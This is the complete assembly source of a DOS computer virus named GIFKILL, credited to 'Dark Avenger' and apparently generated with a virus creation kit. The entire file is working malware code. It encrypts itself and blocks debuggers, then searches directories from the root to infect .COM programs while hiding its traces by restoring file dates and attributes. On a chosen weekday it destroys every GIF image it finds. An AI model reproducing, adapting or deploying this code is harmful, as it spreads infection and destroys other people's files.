; GIFKILL.ASM -- Seek and Destroy GIF ; Written by Dark Avenger virus_type equ 0 ; Appending Virus is_encrypted equ 1 ; We're encrypted tsr_virus equ 0 ; We're not TSR code segment byte public assume cs:code,ds:code,es:code,ss:code org 0100h main proc near db 0E9h,00h,00h ; Near jump (for compatibility) start: call find_offset ; Like a PUSH IP find_offset: pop bp ; BP holds old IP sub bp,offset find_offset ; Adjust for length of host call encrypt_decrypt ; Decrypt the virus start_of_code label near lea si,[bp + buffer] ; SI points to original start mov di,0100h ; Push 0100h on to stack for push di ; return to main program movsw ; Copy the first two bytes movsb ; Copy the third byte mov di,bp ; DI points to start of virus mov bp,sp ; BP points to stack sub sp,128 ; Allocate 128 bytes on stack mov ah,02Fh ; DOS get DTA function int 021h push bx ; Save old DTA address on stack mov ah,01Ah ; DOS set DTA function lea dx,[bp - 128] ; DX points to buffer on stack int 021h stop_tracing: mov cx,09EBh mov ax,0FE05h ; Acutal move, plus a HaLT jmp $-2 add ah,03Bh ; AH now equals 025h jmp $-10 ; Execute the HaLT lea bx,[di + null_vector] ; BX points to new routine push cs ; Transfer CS into ES pop es ; using a PUSH/POP int 021h mov al,1 ; Disable interrupt 1, too int 021h jmp short skip_null ; Hop over the loop null_vector: jmp $ ; An infinite loop skip_null: mov byte ptr [di + lock_keys + 1],130 ; Prefetch unchanged lock_keys: mov al,128 ; Change here screws DEBUG out 021h,al ; If tracing then lock keyboard mov cx,0003h ; Do 3 infections search_loop: push cx ; Save CX call search_files ; Find and infect a file pop cx ; Restore CX loop search_loop ; Repeat until CX is 0 call get_weekday cmp ax,0005h ; Did the function return 5? je strt00 ; If equal, do effect jmp end00 ; Otherwise skip over it strt00: lea dx,[di + data00] ; DX points to data mov ah,04Eh ; DOS find first file function mov cx,00100111b ; All file attributes valid int 021h jc erase_done ; Exit procedure on failure mov ah,02Fh ; DOS get DTA function int 021h lea dx,[bx + 01Eh] ; DX points to filename in DTA erase_loop: mov ah,041h ; DOS delete file function int 021h mov ah,03Ch ; DOS create file function xor cx,cx ; No attributes for new file int 021h mov ah,041h ; DOS delete file function int 021h mov ah,04Fh ; DOS find next file function int 021h jnc erase_loop ; Repeat until no files left erase_done: end00: com_end: pop dx ; DX holds original DTA address mov ah,01Ah ; DOS set DTA function int 021h mov sp,bp ; Deallocate local buffer xor ax,ax ; mov bx,ax ; mov cx,ax ; mov dx,ax ; Empty out the registers mov si,ax ; mov di,ax ; mov bp,ax ; ret ; Return to original program main endp db 0FAh,045h,02Eh,0B3h,024h search_files proc near push bp ; Save BP mov bp,sp ; BP points to local buffer sub sp,64 ; Allocate 64 bytes on stack mov ah,047h ; DOS get current dir function xor dl,dl ; DL holds drive # (current) lea si,[bp - 64] ; SI points to 64-byte buffer int 021h mov ah,03Bh ; DOS change directory function lea dx,[di + root] ; DX points to root directory int 021h call traverse ; Start the traversal mov ah,03Bh ; DOS change directory function lea dx,[bp - 64] ; DX points to old directory int 021h mov sp,bp ; Restore old stack pointer pop bp ; Restore BP ret ; Return to caller root db "\",0 ; Root directory search_files endp traverse proc near push bp ; Save BP mov ah,02Fh ; DOS get DTA function int 021h push bx ; Save old DTA address mov bp,sp ; BP points to local buffer sub sp,128 ; Allocate 128 bytes on stack mov ah,01Ah ; DOS set DTA function lea dx,[bp - 128] ; DX points to buffer int 021h mov ah,04Eh ; DOS find first function mov cx,00010000b ; CX holds search attributes lea dx,[di + all_files] ; DX points to "*.*" int 021h jc leave_traverse ; Leave if no files present check_dir: cmp byte ptr [bp - 107],16 ; Is the file a directory? jne another_dir ; If not, try again cmp byte ptr [bp - 98],'.' ; Did we get a "." or ".."? je another_dir ;If so, keep going mov ah,03Bh ; DOS change directory function lea dx,[bp - 98] ; DX points to new directory int 021h call traverse ; Recursively call ourself pushf ; Save the flags mov ah,03Bh ; DOS change directory function lea dx,[di + up_dir] ; DX points to parent directory int 021h popf ; Restore the flags jnc done_searching ; If we infected then exit another_dir: mov ah,04Fh ; DOS find next function int 021h jnc check_dir ; If found check the file leave_traverse: lea dx,[di + com_mask] ; DX points to "*.COM" call find_files ; Try to infect a file done_searching: mov sp,bp ; Restore old stack frame mov ah,01Ah ; DOS set DTA function pop dx ; Retrieve old DTA address int 021h pop bp ; Restore BP ret ; Return to caller up_dir db "..",0 ; Parent directory name all_files db "*.*",0 ; Directories to search for com_mask db "*.COM",0 ; Mask for all .COM files traverse endp db 0A6h,03Ch,0B6h,078h,0CCh find_files proc near push bp ; Save BP mov ah,02Fh ; DOS get DTA function int 021h push bx ; Save old DTA address mov bp,sp ; BP points to local buffer sub sp,128 ; Allocate 128 bytes on stack push dx ; Save file mask mov ah,01Ah ; DOS set DTA function lea dx,[bp - 128] ; DX points to buffer int 021h mov ah,04Eh ; DOS find first file function mov cx,00100111b ; CX holds all file attributes pop dx ; Restore file mask find_a_file: int 021h jc done_finding ; Exit if no files found call infect_file ; Infect the file! jnc done_finding ; Exit if no error mov ah,04Fh ; DOS find next file function jmp short find_a_file ; Try finding another file done_finding: mov sp,bp ; Restore old stack frame mov ah,01Ah ; DOS set DTA function pop dx ; Retrieve old DTA address int 021h pop bp ; Restore BP ret ; Return to caller find_files endp db 002h,0EFh,034h,048h,091h infect_file proc near mov ah,02Fh ; DOS get DTA address function int 021h mov si,bx ; SI points to the DTA mov byte ptr [di + set_carry],0 ; Assume we'll fail cmp word ptr [si + 01Ah],(65279 - (finish - start)) jbe size_ok ; If it's small enough continue jmp infection_done ; Otherwise exit size_ok: mov ax,03D00h ; DOS open file function, r/o lea dx,[si + 01Eh] ; DX points to file name int 021h xchg bx,ax ; BX holds file handle mov ah,03Fh ; DOS read from file function mov cx,3 ; CX holds bytes to read (3) lea dx,[di + buffer] ; DX points to buffer int 021h mov ax,04202h ; DOS file seek function, EOF cwd ; Zero DX _ Zero bytes from end mov cx,dx ; Zero CX / int 021h xchg dx,ax ; Faster than a PUSH AX mov ah,03Eh ; DOS close file function int 021h xchg dx,ax ; Faster than a POP AX sub ax,finish - start + 3 ; Adjust AX for a valid jump cmp word ptr [di + buffer + 1],ax ; Is there a JMP yet? je infection_done ; If equal then exit mov byte ptr [di + set_carry],1 ; Success -- the file is OK add ax,finish - start ; Re-adjust to make the jump mov word ptr [di + new_jump + 1],ax ; Construct jump mov ax,04301h ; DOS set file attrib. function xor cx,cx ; Clear all attributes lea dx,[si + 01Eh] ; DX points to victim's name int 021h mov ax,03D02h ; DOS open file function, r/w int 021h xchg bx,ax ; BX holds file handle mov ah,040h ; DOS write to file function mov cx,3 ; CX holds bytes to write (3) lea dx,[di + new_jump] ; DX points to the jump we made int 021h mov ax,04202h ; DOS file seek function, EOF cwd ; Zero DX _ Zero bytes from end mov cx,dx ; Zero CX / int 021h push si ; Save SI through call call encrypt_code ; Write an encrypted copy pop si ; Restore SI mov ax,05701h ; DOS set file time function mov cx,[si + 016h] ; CX holds old file time mov dx,[si + 018h] ; DX holds old file date int 021h mov ah,03Eh ; DOS close file function int 021h mov ax,04301h ; DOS set file attrib. function xor ch,ch ; Clear CH for file attribute mov cl,[si + 015h] ; CX holds file's old attributes lea dx,[si + 01Eh] ; DX points to victim's name int 021h infection_done: cmp byte ptr [di + set_carry],1 ; Set carry flag if failed ret ; Return to caller set_carry db ? ; Set-carry-on-exit flag buffer db 090h,0CDh,020h ; Buffer to hold old three bytes new_jump db 0E9h,?,? ; New jump to virus infect_file endp db 089h,043h,03Bh,054h,0AAh get_weekday proc near mov ah,02Ah ; DOS get date function int 021h cbw ; Sign-extend AL into AX ret ; Return to caller get_weekday endp data00 db "*.GIF",0 vcl_marker db "[Z10]",0 ; VCL creation marker note db "Bye Bye Mr.GIF",0 db "You'll never find all the file" db "s I have infected!",0 encrypt_code proc near push bp ; Save BP mov bp,di ; Use BP as pointer to code lea si,[bp + encrypt_decrypt]; SI points to cipher routine xor ah,ah ; BIOS get time function int 01Ah mov word ptr [si + 9],dx ; Low word of timer is new key xor byte ptr [si + 1],8 ; xor byte ptr [si + 8],1 ; Change all SIs to DIs xor word ptr [si + 11],0101h; (and vice-versa) lea di,[bp + finish] ; Copy routine into heap mov cx,finish - encrypt_decrypt - 1 ; All but final RET push si ; Save SI for later push cx ; Save CX for later rep movsb ; Copy the bytes lea si,[bp + write_stuff] ; SI points to write stuff mov cx,5 ; CX holds length of write rep movsb ; Copy the bytes pop cx ; Restore CX pop si ; Restore SI inc cx ; Copy the RET also this time rep movsb ; Copy the routine again mov ah,040h ; DOS write to file function lea dx,[bp + start] ; DX points to virus lea si,[bp + finish] ; SI points to routine call si ; Encrypt/write/decrypt mov di,bp ; DI points to virus again pop bp ; Restore BP ret ; Return to caller write_stuff: mov cx,finish - start ; Length of code int 021h encrypt_code endp end_of_code label near encrypt_decrypt proc near lea si,[bp + start_of_code] ; SI points to code to decrypt mov cx,(end_of_code - start_of_code) / 2 ; CX holds length xor_loop: db 081h,034h,00h,00h ; XOR a word by the key inc si ; Do the next word inc si ; loop xor_loop ; Loop until we're through ret ; Return to caller encrypt_decrypt endp finish label near code ends end main